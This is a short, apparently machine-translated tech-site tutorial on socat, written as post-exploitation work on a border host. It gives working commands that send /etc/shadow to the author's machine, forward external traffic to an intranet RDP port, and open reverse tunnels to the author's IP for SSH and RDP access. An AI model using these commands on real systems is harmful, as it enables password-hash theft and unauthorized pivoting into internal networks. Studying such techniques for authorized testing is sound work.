Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use socat in Linux

2025-01-19 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >

Share

Shulou(Shulou.com)06/02 Report--

This article to share with you is about how to use socat in Linux, Xiaobian feel quite practical, so share to everyone to learn, I hope you can gain something after reading this article, not much to say, follow Xiaobian to see it.

0x01 socat presentation

Socat We have already introduced it in the previous section, before it is the use of Windows, if you do not see the friends please move [socat use under Windows], socat itself is used under Linux, must put it under Windows use will inevitably have acclimatization, this time back to Linux to carry out the use of socat.

Install, we can download the installation directly, if you have to manually compile, then go to study it yourself.

apt-get install socat

After completion, check whether the installation is successful

socat -h

0x02 socat for file transfer

First, we go to boundary machine execution

socat -u /etc/shadow TCP4-LISTEN:55,reuseaddr

Then go back to our native machine to download, here my native machine is Windows, but does not affect

socat.exe -u TCP4:192.168.222.177:55 OPEN:mima.txt,create

As before, where create is executed, the file is there.

0x03 socat Forward port forwarding

Here, we access the hosts of the intranet through the border hosts

First, we go to the border host to execute the command to forward all traffic from external 1000 to port 3389 of the intranet machine.

socat TCP4-LISTEN:1000,fork TCP4:192.168.222.137:3389

Then we connect to the local host

0x04 socat Reverse Port Forwarding

First of all, we're monitoring locally.

socat.exe tcp-listen:1000 tcp-listen:1001

And then we execute commands on edge machines.

Note: 10.1.135.96 is the IP of my local host

socat tcp4-connect:10.1.135.96:1000 tcp4:127.0.0.1:22

Then connect locally to SSH

Of course, it is also possible to connect directly to machines on the intranet.

socat tcp4-connect:10.1.135.96:1000 tcp4:192.168.222.137:3389

Then go back to the local connection remote desktop

The above is how to use socat in Linux, Xiaobian believes that some knowledge points may be seen or used in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Internet Technology

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report